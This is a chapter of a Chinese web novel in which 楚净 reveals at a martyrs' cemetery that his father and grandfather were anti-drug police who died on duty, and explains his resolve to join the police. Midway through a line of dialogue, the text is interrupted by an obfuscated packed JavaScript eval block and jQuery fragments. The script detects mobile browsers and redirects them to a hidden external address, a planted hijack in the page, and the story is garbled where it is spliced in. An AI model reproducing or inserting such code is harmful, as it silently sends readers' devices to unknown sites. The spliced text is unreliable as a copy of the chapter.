35. 父辈
作品:《梦醒时分[男二在位]》 那晚,姜繁书没答应,也没说不答应。
只说自己会回去考虑一下。
楚有容的恐惧不似作假,是真的担心楚净,可她深知梦想不被家人支持的痛苦,作为楚净的朋友,她不管站在哪边都是对另一方的背叛。
本以为这件事能漫天过海,可细心如楚净,又怎会没注意到她的异样?
返校当日,楚净顶着大太阳在小区门口等她。
看到她出现,从树荫处走上前来,递了一瓶水给她:“昨天你为什么突然问我报考警校的原因?”
姜繁书接过水,没有离开拧开喝,而是拿在手中往外走去,说道:“好奇而已。”
其实不用她说,楚净也能猜到。
“我妈是不是找过你了?”他不疾不徐追上去,语气散漫,像是在问一件和自己无关的事。
姜繁书被他说中,脚步一顿。
楚净也停了下来,侧过脸望着她,没再继续问什么,但眼神里已经有千言万语。
最终还是姜繁书先败下阵来,一直紧绷地神经猛然一松,轻轻点头:“是……”
“她让你劝我别报考警校?”
姜繁书沉默地点头。
楚净的声音沉了下来,话语间透着几分愧疚:“别的事我都可以依她,但这件事不行。”
“你……为什么要坚持报考警校?”姜繁书犹豫着问出口。
楚净抬头看着远处的云,一向面不改色的他,此刻的脸上渐渐浮现凝重之色。
片刻过后,他在心里做了一个决定,收回视线转过头对姜繁书道:“我带你去个地方吧。”
楚净说的地方,是烈士陵园。
是晴阳最庄严肃穆之地。
姜繁书在这座城市生活十几年,却从未踏足过这里。
倒是楚净比她更像本地人,熟门熟路,似乎对陵园的布局十分熟悉,仿佛已经来过很多次。
来的路上楚净买了鲜花,将其献给在此长眠的烈士。
姜繁书不明白他为什么要带自己来这里,等他献完所有鲜花,才开口问道:“你怎么突然想到过来献花?”
楚净直起身,背对着她站得笔直。
风声穿过林梢,将楚净低哑的声音传入耳里:“你是不是很好奇,我父亲是个什么样的人?”
藏在心底的疑惑猝不及防地被提起,姜繁书怔愣了一下。
她是好奇,但她没想过这件事会是由楚净主动说起,在心中震惊片刻,她讷讷应道:“从认识你开始,我就没见过你父亲……许叔叔他……”
后面的话她没再继续说,也许是留余地给楚净,也许是不知道该说什么。
“其实我也很好奇他。”楚净淡淡地说,“好奇他是个什么样的人。”
姜繁书惊讶地微微张大嘴巴,似乎没反应过来。
她目瞪口呆地看着楚净,看着对方转过身来,嘴角牵起苦涩的弧度:“我从来没有……见过我爸。”
姜繁书冷吸一口气:“什么?”
“我不知道他是个什么样的人,只在他和我妈的结婚证上见过他,那是他唯一的一张照片。”楚净低垂着眼睛,睫毛掩去他眼中的情绪,却掩不住身上流露出来的悲伤。
“我还没出生的时候,他就已经不在了。”
姜繁书呆住,瞪圆了眼睛,半天才找回自己的声音:“为、为什么?”
她以为楚净的父亲一直不出现,是因为不方便露面,没想到竟是已经不在人世……
“他是一名缉毒警察。”
楚净的声音很轻,轻得像是没有重量,落在姜繁书耳里却重如千斤:“在执行任务的时候,牺牲了。”
“我的爷爷,也是缉毒警察,他也牺牲了。”
“许青山这个名字,是爷爷还在世的时候给我取的,那时候我妈还没怀上我,爷爷说,就算他死了,还有我父亲,如果我父亲没了,还有我。”
“只要留得青山在,不怕没柴烧,许党和人民一片青山,是我爷爷给国家最好的回答,也是他留给我最珍贵的礼物。”
“后来他牺牲了,我父亲也牺牲了。”
“没有葬礼,没有遗像,我不知道他们被葬在哪座陵园,我妈也不知道。”
“也许她知道,可能她在严密的保护下,已经偷偷去看过了,只是没告诉我而已。”
“也许……其实是连个实体墓都没有。”
“毒贩还没落网,他们……还不能被大家看见。”
“我妈带着我到处搬家,转学,就是怕我们会被毒贩找到报复。”
楚净的话音落下,陵园里陷入长久地寂静。
姜繁书站在原地,手里还攥着那瓶没喝完的水,楚净说的每一个字、每一句话都如锤子般重重地敲在她心头,泛起阵阵钝痛。
她望着身前比自己高出一个头的楚净,对方背对着阳光,面上的表情看不真切,平静地将这些沉重的过往摊开在她面前。
这不仅仅是楚净的过往,也是他最致命的秘密。
可他却如此地信任她,将自己最脆弱、最不被理解的一面尽数告诉她。
原来……他是这样的。
姜繁书的心压抑得喘不过气,这才是真正的楚净。
一个背负着血海深仇、藏着沉痛秘密的楚净。
风从远处吹来拂动树叶,低低的沙沙声仿佛是这片土地上的英灵在叹息。
过了许久,姜繁书终于回过神来,艰难地开口:“楚净,你恨过你父亲吗?”
楚净微微抬头,眼眶有些发红。
她抿了抿唇,似是觉得接下来要问的问题太过残忍,声音干涩得不像是从她喉咙发出来的:“作为丈夫,许叔叔辜负了楚阿姨,作为父亲,他……根本就不能算是父亲。”
恨自己的父亲吗?
楚净眸光微动,那双平日里总带着疏淡的眼睛,瞳孔背后掠过无数复杂的情绪。
儒慕、期待、失望,也有……
“恨。”
一个字,就已说明了一切。
“怎么会不恨?”他喉结滚了滚,嗓音发涩,“我妈这些年过得有多苦,我就有多恨他,我甚至怀疑他根本爱不爱我们。”
闻言,姜繁书喉咙不由地发紧,嘴巴张了张,终是什么都没说。
楚净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176118|196211||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重新转过身,目光越过一排排墓碑,最后望向远处青翠的山峦,他的眼里似乎有什么在闪,又很快被风吹散。
他轻声说:“在我十岁那年,隔着防盗窗,我亲眼目睹对面的叔叔亲手砍死他的父母妻儿,不是精神病,是吸了毒……那一刻,我忽然就理解我父亲了。”
“有人站在阳光之下,就有人站在阴影之中,有的东西,总得有人去守护。”
他顿了顿,转回身来看着姜繁书:“我父亲不是不爱我们,他很爱。”
“可是对一个缉毒警察而言,远离是他们唯一能表达爱的方式。”
“越是深爱,越要远离。”
楚净眼睫轻颤,垂在身侧的手微微收拢:“我可以恨所有人,唯独……没有资格恨他,他不是不想陪在我和我妈身边,他是没有机会。”
“我知道,除了我妈……”他安静地说着,声音里终于有了一丝波动,“他就是世界上最爱我的人。”
姜繁书听到这里,眼眶已经开始发酸,想说些什么安慰楚净,安慰这个把伤处揭开给她看的人,却发现自己一个字都说不出来。
楚净沉默了一会儿,平复好情绪,如释重负道:“我理解他,也想成为他,所以我改了名字。”
他静静地说着:“楚净,也是除尽。他继承了爷爷的警号,未来有一天,我也要继承他的警号,像他和爷爷那样,除尽天下的毒品,还祖国一片干净的青山。”
姜繁书纠结地开口:“可是楚阿姨不希望你当警察,我相信如果许叔叔在天有灵,他也一定不想要你当警察。”
楚净自然知道,当父母的,不就希望孩子能健康平安?
但是出生在这样的一个家庭,就注定楚净不会是一个安于享乐的人。
“小书。”他平静地说,“责任是会上瘾的。”
姜繁书愣住了,眼里不受控制地漫上一层雾气。
事情没有发生在自己身上,她承认自己无法切身体会到楚净的心情,但她知道,这世上再也没有人能干预楚净的选择。
她眨了眨眼睛,逼回眼中的泪意,有什么东西在此刻涌上心间。
那些朦胧看不清的情绪也在瞬间到达了巅峰,让她极力地想要把面前的人拥入怀里。
告诉对方:“我在。”
但她克制住了,她强忍心中的酸涩,笑着说:“楚净,我祝你考上心仪的大学。”
“你也是。”楚净微微笑道。
清润的声音渐渐隐去,消散在呼呼的风声中。
头顶的树叶被风吹动,地上的树影也跟着摇动起来,击碎那些过往的记忆。
姜繁书低头看着地面的影子,怅然道:“可惜时间还是太紧了,复习的时间根本不够,要是你能早一个学期转来,当年高考就不会落榜了。”
当年的高考,楚净以十分之差与心仪的大学失之交臂,而姜繁书和徐简行考上了北大。
林远也通过体考上了一本。
复习者联盟五人,就只有楚净和戴倩落榜。
有个问题姜繁书想问很久了,她犹豫了一会儿,道:“楚净,当年你为什么不联系大家?”

